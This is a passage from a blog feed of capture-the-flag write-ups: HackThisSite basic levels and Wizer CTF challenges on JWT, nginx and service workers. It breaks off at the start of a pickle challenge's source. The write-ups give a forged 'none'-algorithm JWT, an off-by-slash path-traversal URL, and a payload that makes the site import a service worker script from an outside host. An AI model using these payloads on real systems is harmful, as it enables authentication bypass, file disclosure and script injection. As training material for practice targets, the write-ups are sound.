      <link>https://aftabsama.com/writeups/hackthissite/basic-2/</link>
      <pubDate>Tue, 07 May 2024 11:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-2/</guid>
      <description>A slightly more difficult challenge, involving an incomplete password script. Requirements: Common sense.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file &amp; compare it to the password the user enters. However, he neglected to upload the password file…</p>
<p><strong>Requirements:</strong> Common sense.</p>
<p><strong>Hints:</strong></p>
<ul>
<li>Read the description carefully.</li>
<li>If the password file is missing, what is the password you submit being compared to?</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 10</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/2">https://www.hackthissite.org/missions/basic/2</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10747">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10747</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>As we can see in the description that the password file was not uploaded so just submitting the NULL (empty) password will do the trick.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 1: the idiot test</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-1/</link>
      <pubDate>Tue, 07 May 2024 09:30:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-1/</guid>
      <description>Basic test of your skills to see if you can do any of these missions. Requirements: HTML</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<ul>
<li>This level is what we call &ldquo;The Idiot Test&rdquo;. If you can&rsquo;t complete it, don&rsquo;t give up on learning all you can!</li>
</ul>
<p><strong>Requirements:</strong></p>
<ul>
<li>Basic knowledge of HTML.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>Don&rsquo;t overthink it.</li>
<li>To pass this challenge you need to find &amp; submit its hidden password, <strong>not</strong> your account&rsquo;s password.</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 5</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/1">https://www.hackthissite.org/missions/basic/1</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10746">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10746</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>The password is hidden in HTML source code. The challenge talks about HTML knowledge so it is good indicator to check the HTML source code.</p>
<p><img alt="Level 1 solution" loading="lazy" src="/writeups/hackthissite/basic-1/files/level-1-sol.webp#center"></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Wizer CTF Event 6 Hour Challenge</title>
      <link>https://aftabsama.com/writeups/ctf/wizer-4-2-2024/</link>
      <pubDate>Thu, 08 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/wizer-4-2-2024/</guid>
      <description>Write-ups for the Wizer CTF challenges.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Start Time: 4 February 2024, 10 AM Eastern Time</p></blockquote>
<blockquote>
<p>End Time: 4 February 2024, 4 PM Eastern Time</p></blockquote>
<p>This CTF focuses on secure coding, we are given the source code for each challenge to analyse.</p>
<h3 id="jwt-authentication">JWT Authentication</h3>
<p>Source code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;express&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">jwt</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;jsonwebtoken&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">bodyParser</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;body-parser&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">bodyParser</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">SECRETKEY</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">SECRETKEY</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Middleware to verify JWT token
</span></span></span><span class="line"><span class="cl"><span class="c1">// This API will be used by various microservices. These all pass in the authorization token.
</span></span></span><span class="line"><span class="cl"><span class="c1">// However the token may be in various different payloads.
</span></span></span><span class="line"><span class="cl"><span class="c1">// That&#39;s why we&#39;ve decided to allow all JWT algorithms to be used.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">token</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">401</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Token missing&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Verify the token using the secret key and support all JWT algorithms
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kr">const</span> <span class="nx">decoded</span> <span class="o">=</span> <span class="nx">jwt</span><span class="p">.</span><span class="nx">verify</span><span class="p">(</span><span class="nx">token</span><span class="p">,</span> <span class="nx">SECRETKEY</span><span class="p">,</span> <span class="p">{</span> <span class="nx">algorithms</span><span class="o">:</span> <span class="p">[</span><span class="s1">&#39;HS256&#39;</span><span class="p">,</span> <span class="s1">&#39;HS384&#39;</span><span class="p">,</span> <span class="s1">&#39;HS512&#39;</span><span class="p">,</span> <span class="s1">&#39;RS256&#39;</span><span class="p">,</span> <span class="s1">&#39;RS384&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                                <span class="s1">&#39;RS512&#39;</span><span class="p">,</span> <span class="s1">&#39;ES256&#39;</span><span class="p">,</span> <span class="s1">&#39;NONE&#39;</span><span class="p">,</span> <span class="s1">&#39;ES384&#39;</span><span class="p">,</span> <span class="s1">&#39;ES512&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                                <span class="s1">&#39;PS256&#39;</span><span class="p">,</span> <span class="s1">&#39;PS384&#39;</span><span class="p">,</span> <span class="s1">&#39;PS512&#39;</span><span class="p">]</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">req</span><span class="p">.</span><span class="nx">auth</span> <span class="o">=</span> <span class="nx">decoded</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">403</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Token invalid&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// API route protected by our authentication middleware
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">&#39;/flag&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">access</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s1">&#39;flag&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">({</span> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;If you can make the server return this message, then you&#39;</span><span class="nx">ve</span> <span class="nx">solved</span> <span class="nx">the</span> <span class="nx">challenge</span><span class="o">!</span><span class="s1">&#39;});
</span></span></span><span class="line"><span class="cl"><span class="s1">  } else {
</span></span></span><span class="line"><span class="cl"><span class="s1">    res.status(403).json({ message: &#39;</span><span class="err">🚨</span> <span class="err">🚨</span> <span class="err">🚨</span> <span class="nx">You</span><span class="s1">&#39;ve been caught by the access control police! 🚓 🚓 🚓&#39;</span> <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Server is running on port 3000`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>This app will check if the <code>token</code> parameter is present in the request body&rsquo;s JSON data.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/4d3fca6b-9060-4393-829b-0c6c4e0be122.webp"></p>
<p>If <code>token</code> is present it will Verify the JWT token.</p>
<p>Reference for JSON web tokens (JWTs): <a href="https://portswigger.net/web-security/jwt#what-are-jwts">https://portswigger.net/web-security/jwt</a>.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/de844715-31d1-449b-8ea3-6470007a1f16.webp"></p>
<p>It support all JWT algorithms including <code>NONE</code> to verify JWT token, so we can bypass the verification using <code>NONE</code> as algorithm. It will accept tokens that have no signature at all.  <br>
Then it will check if <code>{&quot;access&quot;:&quot;flag&quot;}</code> is present in jwt payload data.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/0000fbad-95fe-49e9-bce5-2f9afc64753a.webp"></p>
<p>A JWT consists of 3 parts: a header, a payload, and a signature. These are each base64 encoded and separated by a dot. <br>
now we create jwt token with HEADER (ALGORITHM &amp; TOKEN TYPE): <code>{&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;NONE&quot;}</code> and PAYLOAD (DATA): <code>{&quot;access&quot;:&quot;flag&quot;}</code> with blank SIGNATURE.</p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;token&#34;</span><span class="p">:</span><span class="s2">&#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIn0.&#34;</span><span class="p">}</span>
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/d9bb25fb-df44-4677-8928-23b25caff321.webp"></p>
<br>
<h3 id="nginx-configuration">Nginx Configuration</h3>
<blockquote>
<p>Through the Shelldon Cooper&rsquo;s flag game website, with the following nginx configuration, get the flag from <code>flag.html</code></p></blockquote>
<p>Source code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">user  nginx<span class="p">;</span>
</span></span><span class="line"><span class="cl">worker_processes  1<span class="p">;</span>
</span></span><span class="line"><span class="cl">events <span class="o">{</span>
</span></span><span class="line"><span class="cl">    worker_connections  1024<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">http <span class="o">{</span>
</span></span><span class="line"><span class="cl">    include       /etc/nginx/mime.types<span class="p">;</span>
</span></span><span class="line"><span class="cl">    default_type  application/octet-stream<span class="p">;</span>
</span></span><span class="line"><span class="cl">    sendfile        on<span class="p">;</span>
</span></span><span class="line"><span class="cl">    keepalive_timeout  65<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    server <span class="o">{</span>
</span></span><span class="line"><span class="cl">        listen       80<span class="p">;</span>
</span></span><span class="line"><span class="cl">        server_name  localhost<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        location / <span class="o">{</span>  <span class="c1"># Allow the index.html file to be read</span>
</span></span><span class="line"><span class="cl">            root   /usr/share/nginx/html<span class="p">;</span>
</span></span><span class="line"><span class="cl">            index  index.html<span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        location /assets <span class="o">{</span>  <span class="c1"># Allow the assets to be read</span>
</span></span><span class="line"><span class="cl">            <span class="nb">alias</span> /usr/share/nginx/html/assets/<span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">location</span> <span class="o">=</span> /flag.html <span class="o">{</span>  <span class="c1"># The flag file is private</span>
</span></span><span class="line"><span class="cl">            deny all<span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        error_page   <span class="m">500</span> <span class="m">502</span> <span class="m">503</span> <span class="m">504</span>  /50x.html<span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nv">location</span> <span class="o">=</span> /50x.html <span class="o">{</span>
</span></span><span class="line"><span class="cl">            root   /usr/share/nginx/html<span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><p>At first, I didn&rsquo;t really know what to do, so I used the CTF Ninja Technique. I googled &ldquo;nginx configuration ctf&rdquo; and came across the &ldquo;off-by-slash&rdquo; vulnerability.</p>
<p>When a Nginx directive does not end with a slash, it is possible to traverse one step up. This incorrect configuration could allow an attacker to read file stored outside the target folder.</p>
<p>Here the <code>location /assets</code> don&rsquo;t have the trailing slash, so we can read the files in it&rsquo;s parent folder.</p>
<p>Nginx alias directive defines a replacement for the specified location. Here <code>/assets</code> is alias of <code>/usr/share/nginx/html/assets/</code>. <br>
So <code>/assets../flag.html</code> will become <code>/usr/share/nginx/html/assets/../flag.html</code> and it will return the contents of <code>flag.html</code>.</p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">https://nginx.wizer-ctf.com/assets../flag.html
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/bc9f3e63-0e08-4e37-8124-36fbd23bf7bd.webp"></p>
<br>
<h3 id="recipe-book">Recipe Book</h3>
<blockquote>
<p>Inject an alert(&ldquo;Wizer&rdquo;)</p></blockquote>
<p>Source code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;express&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">helmet</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;helmet&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">port</span> <span class="o">=</span> <span class="mi">80</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Serve static files from the &#39;public&#39; directory
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="kr">static</span><span class="p">(</span><span class="s1">&#39;public&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="nx">helmet</span><span class="p">.</span><span class="nx">contentSecurityPolicy</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">      <span class="nx">directives</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">defaultSrc</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;&#39;self&#39;&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nx">scriptSrc</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;&#39;self&#39;&#34;</span><span class="p">,</span> <span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nx">styleSrc</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;&#39;self&#39;&#34;</span><span class="p">,</span> <span class="s2">&#34;&#39;unsafe-inline&#39;&#34;</span><span class="p">,</span> <span class="s1">&#39;maxcdn.bootstrapcdn.com&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nx">workerSrc</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;&#39;self&#39;&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// Add other directives as needed
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Sample recipe data
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">recipes</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">id</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">title</span><span class="o">:</span> <span class="s2">&#34;Spaghetti Carbonara&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">ingredients</span><span class="o">:</span> <span class="s2">&#34;Pasta, eggs, cheese, bacon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">instructions</span><span class="o">:</span> <span class="s2">&#34;Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">image</span><span class="o">:</span> <span class="s2">&#34;spaghetti.png&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">id</span><span class="o">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">title</span><span class="o">:</span> <span class="s2">&#34;Chicken Alfredo&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">ingredients</span><span class="o">:</span> <span class="s2">&#34;Chicken, fettuccine, cream sauce, Parmesan cheese&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">instructions</span><span class="o">:</span> <span class="s2">&#34;Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">image</span><span class="o">:</span> <span class="s2">&#34;chicken_alfredo.png&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Add more recipes here
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Enable CORS (Cross-Origin Resource Sharing) for local testing
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Access-Control-Allow-Origin&#34;</span><span class="p">,</span> <span class="s2">&#34;*&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Access-Control-Allow-Headers&#34;</span><span class="p">,</span> <span class="s2">&#34;Origin, X-Requested-With, Content-Type, Accept&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Endpoint to get all recipes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/api/recipes&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">({</span> <span class="nx">recipes</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="nx">port</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`API server is running on port </span><span class="si">${</span><span class="nx">port</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>Url: <a href="https://events.wizer-ctf.com/">https://events.wizer-ctf.com/</a></p>
<p>In the webpage there is a <code>https://events.wizer-ctf.com/app.js</code>. when we analyse it, we notice that it will Get the &ldquo;mode&rdquo; and &ldquo;color&rdquo; GET parameters from url and assign it to <code>modeParam</code> and <code>colorParam</code>.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/936de271-6404-49a8-bea8-d31955f758c5.webp"></p>
<p>Then it will set <code>document.getElementById(&quot;mode&quot;).children[0].id = modeParam;</code> and <code>document.getElementById(modeParam).textContent = colorParam;</code></p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/2d739476-0e09-4815-b9b5-fd90f25d9b92.webp"></p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/9545e376-5829-4001-9c7a-5ee1ff4a22fb.webp"></p>
<p>Here if we put GET parameter <code>mode=sw</code> then we can control the value of <code>const sw</code> it will be what we give in GET parameter <code>color</code>.</p>
<p>explanation:</p>
<p>Parameter Retrieval:</p>
<ul>
<li>
<p><code>modeParam = searchParams.get('mode')</code>:</p>
<ol>
<li>Stores the value of the query parameter named <code>mode</code> in the <code>modeParam</code> variable.</li>
</ol>
</li>
<li>
<p><code>colorParam = searchParams.get(&quot;color&quot;)</code>:</p>
<ol>
<li>Similarly, retrieves the value of the <code>color</code> parameter and stores it in <code>colorParam</code>.</li>
</ol>
</li>
</ul>
<p>Element Updates:</p>
<ul>
<li>
<p><code>document.getElementById(&quot;mode&quot;).children[0].id = modeParam;</code>:</p>
<ol>
<li>Finds the element with the ID &ldquo;mode&rdquo; and targets its first child element.</li>
<li>Sets the id attribute of the child element to the value of <code>modeParam</code>.</li>
</ol>
</li>
<li>
<p><code>document.getElementById(modeParam).textContent = colorParam;</code>:</p>
<ol>
<li>Uses the value of <code>modeParam</code> to look up an element by its ID.</li>
<li>Sets the textContent of that element to the value of <code>colorParam</code>.</li>
</ol>
</li>
</ul>
<p>Service Worker Registration:</p>
<ul>
<li><code>sw = document.getElementById('sw').innerText;</code>:
<ol>
<li>Retrieves the innerText (text content) of the element with the ID &ldquo;sw&rdquo;.</li>
<li>Stores the retrieved content in the <code>sw</code> variable.</li>
</ol>
</li>
</ul>
<p><code>https://events.wizer-ctf.com/sw.js?sw=</code> have the following code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="c1">// Allow loading in of service workers dynamically
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">importScripts</span><span class="p">(</span><span class="s1">&#39;/utils.js&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">importScripts</span><span class="p">(</span><span class="sb">`/</span><span class="si">${</span><span class="nx">getParameterByName</span><span class="p">(</span><span class="s1">&#39;sw&#39;</span><span class="p">)</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span></code></pre></div><p>It will import the serviceWorker from the value of <code>sw</code> since we can control it we can import our own serviceWorker with <code>sw=\\atacker.com/sw.js</code>. <br>
This will get the file from <code>https://atacker.com/sw.js</code>.</p>
<p>now to craft our serviceWorker take a look at this.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/32e8eeae-7d95-4513-bead-2c04a566bb6e.webp"></p>
<p>this will listen for message event on BroadcastChannel(&lsquo;recipebook&rsquo;) and it will alert the <code>message</code> property of a message.</p>
<p>BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the &lsquo;message&rsquo; event on other instances of the BroadcastChannel with the same name.</p>
<p>so in serviceWorker we create a new BroadcastChannel instance using the same name (&lsquo;recipebook&rsquo;): <br>
<code>const channel = new BroadcastChannel('recipebook');</code> <br>
Use the postMessage() method on the BroadcastChannel instance to send a message with a message property: <br>
<code>channel.postMessage({ message: 'Wizer' });</code></p>
<p>serviceWorker payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">channel</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BroadcastChannel</span><span class="p">(</span><span class="s1">&#39;recipebook&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">channel</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Wizer&#39;</span> <span class="p">});</span>
</span></span></code></pre></div><p>upload this file publicaly on internet: <a href="https://aftab700.pythonanywhere.com/api/xss">https://aftab700.pythonanywhere.com/api/xss</a></p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">https://events.wizer-ctf.com/?mode<span class="o">=</span>sw<span class="p">&amp;</span><span class="nv">color</span><span class="o">=</span><span class="se">\\</span>aftab700.pythonanywhere.com/api/xss
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/wizer-4-2-2024/md/69c5ccec-add7-4347-9f4e-3537df332f21.webp"></p>
<br>
<h3 id="profile-page">Profile Page</h3>
<blockquote>
<p>Get the flag and submit it here (<a href="https://dsw3qg.wizer-ctf.com/submit_flag/">https://dsw3qg.wizer-ctf.com/submit_flag/</a><flag>) to win the challenge! (profile page: <a href="https://dsw3qg.wizer-ctf.com/profile">https://dsw3qg.wizer-ctf.com/profile</a>)</p></blockquote>
<p>Source code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">render_template</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pickle</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl">
